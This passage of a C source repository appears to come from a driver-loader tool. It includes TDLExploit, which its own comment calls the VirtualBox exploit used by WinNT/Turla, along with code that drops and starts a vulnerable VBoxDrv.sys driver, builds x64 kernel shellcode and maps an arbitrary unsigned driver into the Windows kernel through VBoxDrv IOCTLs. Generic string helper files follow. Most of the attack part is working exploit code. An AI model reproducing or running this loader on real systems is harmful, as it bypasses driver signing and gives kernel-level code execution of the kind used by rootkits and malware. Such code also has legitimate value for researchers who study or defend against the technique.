pthunk->u1.Function != 0; i++, pthunk++) { 136 | nextthunk = (PULONG_PTR)(Image + ITable->FirstThunk); 137 | if ((pthunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) == 0) { 138 | pname = (PIMAGE_IMPORT_BY_NAME)((PCHAR)Image + pthunk->u1.AddressOfData); 139 | nextthunk[i] = TDLGetProcAddress(KernelBase, KernelImage, pname->Name); 140 | } 141 | else 142 | nextthunk[i] = TDLGetProcAddress(KernelBase, KernelImage, (LPCSTR)(pthunk->u1.Ordinal & 0xffff)); 143 | } 144 | } 145 | 146 | /* 147 | * TDLExploit 148 | * 149 | * Purpose: 150 | * 151 | * VirtualBox exploit used by WinNT/Turla. 152 | * 153 | */ 154 | void TDLExploit( 155 | _In_ LPVOID Shellcode, 156 | _In_ ULONG CodeSize, 157 | _In_ ULONG DataOffset 158 | ) 159 | { 160 | SUPCOOKIE Cookie; 161 | SUPLDROPEN OpenLdr; 162 | DWORD bytesIO = 0; 163 | RTR0PTR ImageBase = NULL; 164 | ULONG_PTR paramOut; 165 | PSUPLDRLOAD pLoadTask = NULL; 166 | SUPSETVMFORFAST vmFast; 167 | SUPLDRFREE ldrFree; 168 | SIZE_T memIO; 169 | WCHAR text[256]; 170 | 171 | while (g_hVBox != INVALID_HANDLE_VALUE) { 172 | RtlSecureZeroMemory(&Cookie, sizeof(SUPCOOKIE)); 173 | Cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE; 174 | Cookie.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN; 175 | Cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT; 176 | Cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; 177 | Cookie.Hdr.rc = 0; 178 | Cookie.u.In.u32ReqVersion = 0; 179 | Cookie.u.In.u32MinVersion = 0x00070002; 180 | RtlCopyMemory(Cookie.u.In.szMagic, SUPCOOKIE_MAGIC, sizeof(SUPCOOKIE_MAGIC)); 181 | 182 | if (!DeviceIoControl(g_hVBox, SUP_IOCTL_COOKIE, 183 | &Cookie, SUP_IOCTL_COOKIE_SIZE_IN, &Cookie, 184 | SUP_IOCTL_COOKIE_SIZE_OUT, &bytesIO, NULL)) 185 | { 186 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_COOKIE call failed"), TRUE); 187 | break; 188 | } 189 | 190 | RtlSecureZeroMemory(&OpenLdr, sizeof(OpenLdr)); 191 | OpenLdr.Hdr.u32Cookie = Cookie.u.Out.u32Cookie; 192 | OpenLdr.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie; 193 | OpenLdr.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN; 194 | OpenLdr.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT; 195 | OpenLdr.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; 196 | OpenLdr.Hdr.rc = 0; 197 | OpenLdr.u.In.cbImage = CodeSize; 198 | RtlCopyMemory(OpenLdr.u.In.szName, supImageName, sizeof(supImageName)); 199 | 200 | if (!DeviceIoControl(g_hVBox, SUP_IOCTL_LDR_OPEN, &OpenLdr, 201 | SUP_IOCTL_LDR_OPEN_SIZE_IN, &OpenLdr, 202 | SUP_IOCTL_LDR_OPEN_SIZE_OUT, &bytesIO, NULL)) 203 | { 204 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_LDR_OPEN call failed"), TRUE); 205 | break; 206 | } 207 | else { 208 | _strcpy(text, TEXT("Ldr: OpenLdr.u.Out.pvImageBase = 0x")); 209 | u64tohex((ULONG_PTR)OpenLdr.u.Out.pvImageBase, _strend(text)); 210 | cuiPrintText(text, TRUE); 211 | } 212 | 213 | ImageBase = OpenLdr.u.Out.pvImageBase; 214 | 215 | memIO = PAGE_SIZE + CodeSize; 216 | NtAllocateVirtualMemory(NtCurrentProcess(), (PVOID*)&pLoadTask, 0, &memIO, 217 | MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 218 | 219 | if (pLoadTask == NULL) 220 | break; 221 | 222 | pLoadTask->Hdr.u32Cookie = Cookie.u.Out.u32Cookie; 223 | pLoadTask->Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie; 224 | pLoadTask->Hdr.cbIn = 225 | (ULONG_PTR)(&((PSUPLDRLOAD)0)->u.In.achImage) + CodeSize; 226 | pLoadTask->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT; 227 | pLoadTask->Hdr.fFlags = SUPREQHDR_FLAGS_MAGIC; 228 | pLoadTask->Hdr.rc = 0; 229 | pLoadTask->u.In.eEPType = SUPLDRLOADEP_VMMR0; 230 | pLoadTask->u.In.pvImageBase = ImageBase; 231 | pLoadTask->u.In.EP.VMMR0.pvVMMR0 = (RTR0PTR)supImageHandle; 232 | pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryEx = ImageBase; 233 | pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryFast = ImageBase; 234 | pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryInt = ImageBase; 235 | RtlCopyMemory(pLoadTask->u.In.achImage, Shellcode, CodeSize); 236 | pLoadTask->u.In.cbImage = CodeSize; 237 | 238 | if (!DeviceIoControl(g_hVBox, SUP_IOCTL_LDR_LOAD, 239 | pLoadTask, pLoadTask->Hdr.cbIn, 240 | pLoadTask, SUP_IOCTL_LDR_LOAD_SIZE_OUT, &bytesIO, NULL)) 241 | { 242 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_LDR_LOAD call failed"), TRUE); 243 | break; 244 | } 245 | else { 246 | _strcpy(text, TEXT("Ldr: SUP_IOCTL_LDR_LOAD, success\r\n\tShellcode mapped at 0x")); 247 | u64tohex((ULONG_PTR)ImageBase, _strend(text)); 248 | _strcat(text, TEXT(", size = 0x")); 249 | ultohex(CodeSize, _strend(text)); 250 | 251 | _strcat(text, TEXT("\r\n\tDriver image mapped at 0x")); 252 | u64tohex((ULONG_PTR)ImageBase + DataOffset, _strend(text)); 253 | cuiPrintText(text, TRUE); 254 | } 255 | 256 | RtlSecureZeroMemory(&vmFast, sizeof(vmFast)); 257 | vmFast.Hdr.u32Cookie = Cookie.u.Out.u32Cookie; 258 | vmFast.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie; 259 | vmFast.Hdr.rc = 0; 260 | vmFast.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; 261 | vmFast.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN; 262 | vmFast.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT; 263 | vmFast.u.In.pVMR0 = (LPVOID)supImageHandle; 264 | 265 | if (!DeviceIoControl(g_hVBox, SUP_IOCTL_SET_VM_FOR_FAST, 266 | &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN, 267 | &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT, &bytesIO, NULL)) 268 | { 269 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_SET_VM_FOR_FAST call failed"), TRUE); 270 | break; 271 | } 272 | else { 273 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_SET_VM_FOR_FAST call complete"), TRUE); 274 | } 275 | 276 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_FAST_DO_NOP"), TRUE); 277 | 278 | paramOut = 0; 279 | DeviceIoControl(g_hVBox, SUP_IOCTL_FAST_DO_NOP, 280 | NULL, 0, 281 | ¶mOut, sizeof(paramOut), &bytesIO, NULL); 282 | 283 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_LDR_FREE"), TRUE); 284 | 285 | RtlSecureZeroMemory(&ldrFree, sizeof(ldrFree)); 286 | ldrFree.Hdr.u32Cookie = Cookie.u.Out.u32Cookie; 287 | ldrFree.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie; 288 | ldrFree.Hdr.cbIn = SUP_IOCTL_LDR_FREE_SIZE_IN; 289 | ldrFree.Hdr.cbOut = SUP_IOCTL_LDR_FREE_SIZE_OUT; 290 | ldrFree.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; 291 | ldrFree.Hdr.rc = 0; 292 | ldrFree.u.In.pvImageBase = ImageBase; 293 | 294 | DeviceIoControl(g_hVBox, SUP_IOCTL_LDR_FREE, 295 | &ldrFree, SUP_IOCTL_LDR_FREE_SIZE_IN, 296 | &ldrFree, SUP_IOCTL_LDR_FREE_SIZE_OUT, &bytesIO, NULL); 297 | 298 | break; 299 | } 300 | 301 | if (pLoadTask != NULL) { 302 | memIO = 0; 303 | NtFreeVirtualMemory(NtCurrentProcess(), (PVOID*)&pLoadTask, &memIO, MEM_RELEASE); 304 | } 305 | 306 | if (g_hVBox != INVALID_HANDLE_VALUE) { 307 | CloseHandle(g_hVBox); 308 | g_hVBox = INVALID_HANDLE_VALUE; 309 | } 310 | } 311 | 312 | /* 313 | * TDLMapDriver 314 | * 315 | * Purpose: 316 | * 317 | * Build shellcode and execute exploit. 318 | * 319 | */ 320 | UINT TDLMapDriver( 321 | _In_ LPWSTR lpDriverFullName 322 | ) 323 | { 324 | UINT result = (UINT)-1; 325 | ULONG DllCharacteristics = IMAGE_FILE_EXECUTABLE_IMAGE; 326 | ULONG isz, prologueSize, dataOffset; 327 | SIZE_T memIO; 328 | ULONG_PTR KernelBase, KernelImage = 0; 329 | ULONG_PTR xExAllocatePoolWithTag = 0, xPsCreateSystemThread = 0, xZwClose = 0; 330 | HMODULE Image = NULL; 331 | PIMAGE_NT_HEADERS FileHeader; 332 | PBYTE Buffer = NULL; 333 | UNICODE_STRING uStr; 334 | ANSI_STRING routineName; 335 | NTSTATUS status; 336 | WCHAR text[256]; 337 | 338 | KernelBase = supGetNtOsBase(); 339 | while (KernelBase != 0) { 340 | 341 | _strcpy(text, TEXT("Ldr: Kernel base = 0x")); 342 | u64tohex(KernelBase, _strend(text)); 343 | cuiPrintText(text, TRUE); 344 | 345 | RtlSecureZeroMemory(&uStr, sizeof(uStr)); 346 | RtlInitUnicodeString(&uStr, lpDriverFullName); 347 | status = LdrLoadDll(NULL, &DllCharacteristics, &uStr, (PVOID*)&Image); 348 | if ((!NT_SUCCESS(status)) || (Image == NULL)) { 349 | cuiPrintText(TEXT("Ldr: Error while loading input driver file"), TRUE); 350 | break; 351 | } 352 | else { 353 | _strcpy(text, TEXT("Ldr: Input driver file loaded at 0x")); 354 | u64tohex((ULONG_PTR)Image, _strend(text)); 355 | cuiPrintText(text, TRUE); 356 | } 357 | 358 | FileHeader = RtlImageNtHeader(Image); 359 | if (FileHeader == NULL) 360 | break; 361 | 362 | isz = FileHeader->OptionalHeader.SizeOfImage; 363 | 364 | cuiPrintText(TEXT("Ldr: Loading ntoskrnl.exe"), TRUE); 365 | 366 | RtlInitUnicodeString(&uStr, L"ntoskrnl.exe"); 367 | status = LdrLoadDll(NULL, NULL, &uStr, (PVOID*)&KernelImage); 368 | if ((!NT_SUCCESS(status)) || (KernelImage == 0)) { 369 | cuiPrintText(TEXT("Ldr: Error while loading ntoskrnl.exe"), TRUE); 370 | break; 371 | } 372 | else { 373 | _strcpy(text, TEXT("Ldr: ntoskrnl.exe loaded at 0x")); 374 | u64tohex(KernelImage, _strend(text)); 375 | cuiPrintText(text, TRUE); 376 | } 377 | 378 | RtlInitString(&routineName, "ExAllocatePoolWithTag"); 379 | status = LdrGetProcedureAddress((PVOID)KernelImage, &routineName, 0, (PVOID*)&xExAllocatePoolWithTag); 380 | if ((!NT_SUCCESS(status)) || (xExAllocatePoolWithTag == 0)) { 381 | cuiPrintText(TEXT("Ldr: Error, ExAllocatePoolWithTag address not found"), TRUE); 382 | break; 383 | } 384 | else { 385 | _strcpy(text, TEXT("Ldr: ExAllocatePoolWithTag 0x")); 386 | u64tohex(KernelBase + (xExAllocatePoolWithTag - KernelImage), _strend(text)); 387 | cuiPrintText(text, TRUE); 388 | } 389 | 390 | if (g_NtBuildNumber < 15063) { 391 | RtlInitString(&routineName, "PsCreateSystemThread"); 392 | status = LdrGetProcedureAddress((PVOID)KernelImage, &routineName, 0, (PVOID*)&xPsCreateSystemThread); 393 | if ((!NT_SUCCESS(status)) || (xPsCreateSystemThread == 0)) { 394 | cuiPrintText(TEXT("Ldr: Error, PsCreateSystemThread address not found"), TRUE); 395 | break; 396 | } 397 | else { 398 | _strcpy(text, TEXT("Ldr: PsCreateSystemThread 0x")); 399 | u64tohex(KernelBase + (xPsCreateSystemThread - KernelImage), _strend(text)); 400 | cuiPrintText(text, TRUE); 401 | } 402 | 403 | RtlInitString(&routineName, "ZwClose"); 404 | status = LdrGetProcedureAddress((PVOID)KernelImage, &routineName, 0, (PVOID*)&xZwClose); 405 | if ((!NT_SUCCESS(status)) || (xZwClose == 0)) { 406 | cuiPrintText(TEXT("Ldr: Error, ZwClose address not found"), TRUE); 407 | break; 408 | } 409 | else { 410 | _strcpy(text, TEXT("Ldr: ZwClose 0x")); 411 | u64tohex(KernelBase + (xZwClose - KernelImage), _strend(text)); 412 | cuiPrintText(text, TRUE); 413 | } 414 | } 415 | 416 | memIO = isz + PAGE_SIZE; 417 | NtAllocateVirtualMemory(NtCurrentProcess(), (PVOID*)&Buffer, 0, &memIO, 418 | MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 419 | if (Buffer == NULL) { 420 | cuiPrintText(TEXT("Ldr: Error, unable to allocate shellcode"), TRUE); 421 | break; 422 | } 423 | else { 424 | _strcpy(text, TEXT("Ldr: Shellcode allocated at 0x")); 425 | u64tohex((ULONG_PTR)Buffer, _strend(text)); 426 | cuiPrintText(text, TRUE); 427 | } 428 | 429 | // mov rcx, ExAllocatePoolWithTag 430 | // mov rdx, PsCreateSystemThread 431 | // mov r8, ZwClose 432 | 433 | Buffer[0x00] = 0x48; // mov rcx, xxxxx 434 | Buffer[0x01] = 0xb9; 435 | *((PULONG_PTR)&Buffer[2]) = 436 | KernelBase + (xExAllocatePoolWithTag - KernelImage); 437 | 438 | if (g_NtBuildNumber < 15063) { 439 | Buffer[0x0a] = 0x48; // mov rdx, xxxxx 440 | Buffer[0x0b] = 0xba; 441 | *((PULONG_PTR)&Buffer[0x0c]) = 442 | KernelBase + (xPsCreateSystemThread - KernelImage); 443 | Buffer[0x14] = 0x49; //mov r8, xxxxx 444 | Buffer[0x15] = 0xb8; 445 | *((PULONG_PTR)&Buffer[0x16]) = 446 | KernelBase + (xZwClose - KernelImage); 447 | 448 | prologueSize = 0x1e; 449 | } 450 | else { 451 | prologueSize = 0x0a; 452 | } 453 | 454 | dataOffset = prologueSize + MAX_SHELLCODE_LENGTH; 455 | 456 | if (g_NtBuildNumber < 15063) { 457 | RtlCopyMemory(Buffer + prologueSize, 458 | TDLBootstrapLoader_code, sizeof(TDLBootstrapLoader_code)); 459 | cuiPrintText(TEXT("Ldr: Default bootstrap shellcode selected"), TRUE); 460 | } 461 | else { 462 | RtlCopyMemory(Buffer + prologueSize, 463 | TDLBootstrapLoader_code_w10rs2, sizeof(TDLBootstrapLoader_code_w10rs2)); 464 | cuiPrintText(TEXT("Ldr: Windows 10 RS2+ bootstrap shellcode selected"), TRUE); 465 | } 466 | 467 | RtlCopyMemory(Buffer + dataOffset, Image, isz); 468 | 469 | cuiPrintText(TEXT("Ldr: Resolving kernel import"), TRUE); 470 | TDLResolveKernelImport((ULONG_PTR)Buffer + dataOffset, KernelImage, KernelBase); 471 | 472 | cuiPrintText(TEXT("Ldr: Executing exploit"), TRUE); 473 | TDLExploit(Buffer, isz + PAGE_SIZE, dataOffset); 474 | result = 0; 475 | break; 476 | } 477 | 478 | if (Buffer != NULL) { 479 | memIO = 0; 480 | NtFreeVirtualMemory(NtCurrentProcess(), (PVOID*)&Buffer, &memIO, MEM_RELEASE); 481 | } 482 | 483 | return result; 484 | } 485 | 486 | #define VBOXNETADP_SVC L"VBoxNetAdp" 487 | #define VBOXNETLWF_SVC L"VBoxNetLwf" 488 | #define VBOXUSBMON_SVC L"VBoxUSBMon" 489 | 490 | /* 491 | * TDLStartVulnerableDriver 492 | * 493 | * Purpose: 494 | * 495 | * Load vulnerable virtualbox driver and return handle for it device. 496 | * 497 | */ 498 | HANDLE TDLStartVulnerableDriver( 499 | VOID 500 | ) 501 | { 502 | PBYTE DrvBuffer; 503 | ULONG DataSize = 0, bytesIO; 504 | HANDLE hDevice = INVALID_HANDLE_VALUE; 505 | SC_HANDLE schSCManager = NULL; 506 | LPWSTR msg; 507 | 508 | WCHAR szDriverFileName[MAX_PATH * 2]; 509 | 510 | DrvBuffer = supQueryResourceData(1, g_hInstance, &DataSize); 511 | if (DrvBuffer == NULL) 512 | return INVALID_HANDLE_VALUE; 513 | 514 | do { 515 | 516 | //lets give scm nice looking path so this piece of shit code from early 90x wont fuckup somewhere. 517 | RtlSecureZeroMemory(szDriverFileName, sizeof(szDriverFileName)); 518 | if (!GetSystemDirectory(szDriverFileName, MAX_PATH)) { 519 | cuiPrintText(TEXT("Ldr: Error loading VirtualBox driver, GetSystemDirectory failed"), TRUE); 520 | break; 521 | } 522 | 523 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 524 | if (schSCManager == NULL) { 525 | cuiPrintText(TEXT("Ldr: Error opening SCM database"), TRUE); 526 | break; 527 | } 528 | 529 | // 530 | // Lookup main vbox driver device, if found, try to unload all possible, unload order is sensitive 531 | // 532 | if (supIsObjectExists(L"\\Device", VBoxDrvSvc)) { 533 | 534 | cuiPrintText(TEXT("Ldr: Active VirtualBox found in system, attempt stop (unload) it drivers"), TRUE); 535 | 536 | if (!supStopVBoxService(schSCManager, VBOXUSBMON_SVC)) { 537 | cuiPrintText(TEXT("SCM: Error stopping VBoxUSBMon, cannot continue"), TRUE); 538 | break; 539 | } 540 | 541 | if (!supStopVBoxService(schSCManager, VBOXNETADP_SVC)) { 542 | cuiPrintText(TEXT("SCM: Error stopping VBoxNetAdp, cannot continue"), TRUE); 543 | break; 544 | } 545 | 546 | if (!supStopVBoxService(schSCManager, VBOXNETLWF_SVC)) { 547 | cuiPrintText(TEXT("SCM: Error stopping VBoxNetLwf, cannot continue"), TRUE); 548 | break; 549 | } 550 | 551 | Sleep(1000); 552 | 553 | if (!supStopVBoxService(schSCManager, VBoxDrvSvc)) { 554 | cuiPrintText(TEXT("SCM: Error stopping VBoxDrv, cannot continue"), TRUE); 555 | break; 556 | } 557 | 558 | } 559 | 560 | // 561 | // If vbox installed backup it driver, do it before dropping our 562 | // Ignore error if file not found 563 | // 564 | if (g_VBoxInstalled) { 565 | if (supBackupVBoxDrv(FALSE) == FALSE) { 566 | cuiPrintText(TEXT("Ldr: Error while doing VirtualBox driver backup"), TRUE); 567 | } 568 | else { 569 | cuiPrintText(TEXT("Ldr: VirtualBox driver backup done"), TRUE); 570 | } 571 | } 572 | 573 | //drop our vboxdrv version 574 | _strcat(szDriverFileName, TEXT("\\drivers\\VBoxDrv.sys")); 575 | bytesIO = (ULONG)supWriteBufferToFile(szDriverFileName, DrvBuffer, 576 | (SIZE_T)DataSize, FALSE, FALSE); 577 | 578 | if (bytesIO != DataSize) { 579 | cuiPrintText(TEXT("Ldr: Error writing VirtualBox on disk"), TRUE); 580 | break; 581 | } 582 | 583 | //if vbox not found in system install driver in scm 584 | if (g_VBoxInstalled == FALSE) { 585 | scmInstallDriver(schSCManager, VBoxDrvSvc, szDriverFileName); 586 | } 587 | 588 | //run driver 589 | if (scmStartDriver(schSCManager, VBoxDrvSvc) != FALSE) { 590 | 591 | if (scmOpenDevice(VBoxDrvSvc, &hDevice)) 592 | msg = TEXT("SCM: Vulnerable driver loaded and opened"); 593 | else 594 | msg = TEXT("SCM: Driver device open failure"); 595 | 596 | } 597 | else { 598 | msg = TEXT("SCM: Vulnerable driver load failure"); 599 | } 600 | 601 | cuiPrintText(msg, TRUE); 602 | 603 | } while (FALSE); 604 | 605 | //post cleanup 606 | if (schSCManager != NULL) { 607 | CloseServiceHandle(schSCManager); 608 | } 609 | return hDevice; 610 | } 611 | 612 | /* 613 | * TDLStopVulnerableDriver 614 | * 615 | * Purpose: 616 | * 617 | * Unload previously loaded vulnerable driver. If VirtualBox installed - restore original driver. 618 | * 619 | */ 620 | void TDLStopVulnerableDriver( 621 | VOID 622 | ) 623 | { 624 | SC_HANDLE schSCManager; 625 | LPWSTR msg; 626 | UNICODE_STRING uStr; 627 | OBJECT_ATTRIBUTES ObjectAttributes; 628 | 629 | cuiPrintText(TEXT("SCM: Unloading vulnerable driver"), TRUE); 630 | 631 | if (g_hVBox != INVALID_HANDLE_VALUE) 632 | CloseHandle(g_hVBox); 633 | 634 | schSCManager = OpenSCManager(NULL, 635 | NULL, 636 | SC_MANAGER_ALL_ACCESS 637 | ); 638 | 639 | if (schSCManager == NULL) { 640 | cuiPrintText(TEXT("SCM: Cannot open database, unable unload driver"), TRUE); 641 | return; 642 | } 643 | 644 | //stop driver in any case 645 | if (scmStopDriver(schSCManager, VBoxDrvSvc)) 646 | msg = TEXT("SCM: Vulnerable driver successfully unloaded"); 647 | else 648 | msg = TEXT("SCM: Unexpected error while unloading driver"); 649 | 650 | cuiPrintText(msg, TRUE); 651 | 652 | //if VBox not installed - remove from scm database and delete file 653 | if (g_VBoxInstalled == FALSE) { 654 | 655 | if (scmRemoveDriver(schSCManager, VBoxDrvSvc)) 656 | msg = TEXT("SCM: Driver entry removed from registry"); 657 | else 658 | msg = TEXT("SCM: Error removing driver entry from registry"); 659 | 660 | cuiPrintText(msg, TRUE); 661 | 662 | uStr.Buffer = NULL; 663 | uStr.Length = 0; 664 | uStr.MaximumLength = 0; 665 | RtlInitUnicodeString(&uStr, L"\\??\\globalroot\\systemroot\\system32\\drivers\\VBoxDrv.sys"); 666 | InitializeObjectAttributes(&ObjectAttributes, &uStr, OBJ_CASE_INSENSITIVE, NULL, NULL); 667 | if (NT_SUCCESS(NtDeleteFile(&ObjectAttributes))) 668 | msg = TEXT("Ldr: Driver file removed"); 669 | else 670 | msg = TEXT("Ldr: Error removing driver file"); 671 | 672 | cuiPrintText(msg, TRUE); 673 | 674 | } 675 | else { 676 | //VBox software present, restore original driver and exit 677 | if (supBackupVBoxDrv(TRUE)) 678 | msg = TEXT("Ldr: Original VirtualBox driver restored from backup"); 679 | else 680 | msg = TEXT("Ldr: Unexpected error while restoring original driver from backup"); 681 | 682 | cuiPrintText(msg, TRUE); 683 | } 684 | CloseServiceHandle(schSCManager); 685 | } 686 | 687 | /* 688 | * TDLProcessCommandLine 689 | * 690 | * Purpose: 691 | * 692 | * Extract target driver from command line and continue with it load. 693 | * 694 | */ 695 | UINT TDLProcessCommandLine( 696 | _In_ LPWSTR lpCommandLine 697 | ) 698 | { 699 | UINT retVal = (UINT)-1; 700 | WCHAR szInputFile[MAX_PATH + 1]; 701 | ULONG c; 702 | 703 | //input file 704 | c = 0; 705 | RtlSecureZeroMemory(szInputFile, sizeof(szInputFile)); 706 | GetCommandLineParam(lpCommandLine, 1, (LPWSTR)&szInputFile, MAX_PATH, &c); 707 | if (c == 0) { 708 | cuiPrintText(T_LOADERUSAGE, FALSE); 709 | return retVal; 710 | } 711 | 712 | if (PathFileExists(szInputFile)) { 713 | g_hVBox = TDLStartVulnerableDriver(); 714 | if (g_hVBox != INVALID_HANDLE_VALUE) { 715 | retVal = TDLMapDriver(szInputFile); 716 | TDLStopVulnerableDriver(); 717 | } 718 | } 719 | else { 720 | cuiPrintText(TEXT("Ldr: Input file not found"), FALSE); 721 | } 722 | return retVal; 723 | } 724 | 725 | /* 726 | * TDLMain 727 | * 728 | * Purpose: 729 | * 730 | * Loader main. 731 | * 732 | */ 733 | void TDLMain() 734 | { 735 | 736 | UINT uResult = 0; 737 | LONG x; 738 | OSVERSIONINFO osv; 739 | WCHAR text[256]; 740 | 741 | do { 742 | 743 | g_hInstance = GetModuleHandle(NULL); 744 | 745 | cuiInitialize(FALSE, NULL); 746 | 747 | SetConsoleTitle(T_LOADERTITLE); 748 | 749 | cuiPrintText(T_LOADERINTRO, TRUE); 750 | 751 | x = InterlockedIncrement((PLONG)&g_lApplicationInstances); 752 | if (x > 1) { 753 | cuiPrintText(T_LOADERRUN, FALSE); 754 | uResult = (UINT)-1; 755 | break; 756 | } 757 | 758 | //check version first 759 | RtlSecureZeroMemory(&osv, sizeof(osv)); 760 | osv.dwOSVersionInfoSize = sizeof(osv); 761 | RtlGetVersion((PRTL_OSVERSIONINFOW)&osv); 762 | if (osv.dwMajorVersion < 6) { 763 | cuiPrintText(T_LOADERUNSUP, FALSE); 764 | uResult = (UINT)-1; 765 | break; 766 | } 767 | 768 | g_NtBuildNumber = osv.dwBuildNumber; 769 | 770 | _strcpy(text, TEXT("Ldr: Windows v")); 771 | ultostr(osv.dwMajorVersion, _strend(text)); 772 | _strcat(text, TEXT(".")); 773 | ultostr(osv.dwMinorVersion, _strend(text)); 774 | _strcat(text, TEXT(" build ")); 775 | ultostr(osv.dwBuildNumber, _strend(text)); 776 | cuiPrintText(text, TRUE); 777 | 778 | // 779 | // If VirtualBox installed on the same machine warn user, 780 | // however this is unnecessary can lead to any conflicts. 781 | // 782 | g_VBoxInstalled = TDLVBoxInstalled(); 783 | if (g_VBoxInstalled) { 784 | cuiPrintText(T_VBOXDETECT, TRUE); 785 | } 786 | 787 | uResult = TDLProcessCommandLine(GetCommandLine()); 788 | 789 | } while (FALSE); 790 | 791 | InterlockedDecrement((PLONG)&g_lApplicationInstances); 792 | ExitProcess(uResult); 793 | } 794 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/_strcat.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | char *_strcat_a(char *dest, const char *src) 4 | { 5 | if ( (dest==0) || (src==0) ) 6 | return dest; 7 | 8 | while ( *dest!=0 ) 9 | dest++; 10 | 11 | while ( *src!=0 ) { 12 | *dest = *src; 13 | dest++; 14 | src++; 15 | } 16 | 17 | *dest = 0; 18 | return dest; 19 | } 20 | 21 | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src) 22 | { 23 | if ( (dest==0) || (src==0) ) 24 | return dest; 25 | 26 | while ( *dest!=0 ) 27 | dest++; 28 | 29 | while ( *src!=0 ) { 30 | *dest = *src; 31 | dest++; 32 | src++; 33 | } 34 | 35 | *dest = 0; 36 | return dest; 37 | } 38 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/_strcmpi.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | int _strcmpi_a(const char *s1, const char *s2) 4 | { 5 | char c1, c2; 6 | 7 | if ( s1==s2 ) 8 | return 0; 9 | 10 | if ( s1==0 ) 11 | return -1; 12 | 13 | if ( s2==0 ) 14 | return 1; 15 | 16 | do { 17 | c1 = locase_a(*s1); 18 | c2 = locase_a(*s2); 19 | s1++; 20 | s2++; 21 | } while ( (c1 != 0) && (c1 == c2) ); 22 | 23 | return (int)(c1 - c2); 24 | } 25 | 26 | int _strcmpi_w(const wchar_t *s1, const wchar_t *s2) 27 | { 28 | wchar_t c1, c2; 29 | 30 | if ( s1==s2 ) 31 | return 0; 32 | 33 | if ( s1==0 ) 34 | return -1; 35 | 36 | if ( s2==0 ) 37 | return 1; 38 | 39 | do { 40 | c1 = locase_w(*s1); 41 | c2 = locase_w(*s2); 42 | s1++; 43 | s2++; 44 | } while ( (c1 != 0) && (c1 == c2) ); 45 | 46 | return (int)(c1 - c2); 47 | } 48 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/_strcpy.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | char *_strcpy_a(char *dest, const char *src) 4 | { 5 | char *p; 6 | 7 | if ( (dest==0) || (src==0) ) 8 | return dest; 9 | 10 | if (dest == src) 11 | return dest; 12 | 13 | p = dest; 14 | while ( *src!=0 ) { 15 | *p = *src; 16 | p++; 17 | src++; 18 | } 19 | 20 | *p = 0; 21 | return dest; 22 | } 23 | 24 | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src) 25 | { 26 | wchar_t *p; 27 | 28 | if ((dest == 0) || (src == 0)) 29 | return dest; 30 | 31 | if (dest == src) 32 | return dest; 33 | 34 | p = dest; 35 | while ( *src!=0 ) { 36 | *p = *src; 37 | p++; 38 | src++; 39 | } 40 | 41 | *p = 0; 42 | return dest; 43 | } 44 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/_strend.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | char *_strend_a(const char *s) 4 | { 5 | if ( s==0 ) 6 | return 0; 7 | 8 | while ( *s!=0 ) 9 | s++; 10 | 11 | return (char *)s; 12 | } 13 | 14 | wchar_t *_strend_w(const wchar_t *s) 15 | { 16 | if ( s==0 ) 17 | return 0; 18 | 19 | while ( *s!=0 ) 20 | s++; 21 | 22 | return (wchar_t *)s; 23 | } 24 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/_strlen.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | size_t _strlen_a(const char *s) 4 | { 5 | char *s0 = (char *)s; 6 | 7 | if ( s==0 ) 8 | return 0; 9 | 10 | while ( *s!=0 ) 11 | s++; 12 | 13 | return (s-s0); 14 | } 15 | 16 | size_t _strlen_w(const wchar_t *s) 17 | { 18 | wchar_t *s0 = (wchar_t *)s; 19 | 20 | if ( s==0 ) 21 | return 0; 22 | 23 | while ( *s!=0 ) 24 | s++; 25 | 26 | return (s-s0); 27 | } 28 | -------------------------------------------------------------------------------- /Source/Furutaka/minirtl/_strncmpi.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars) 4 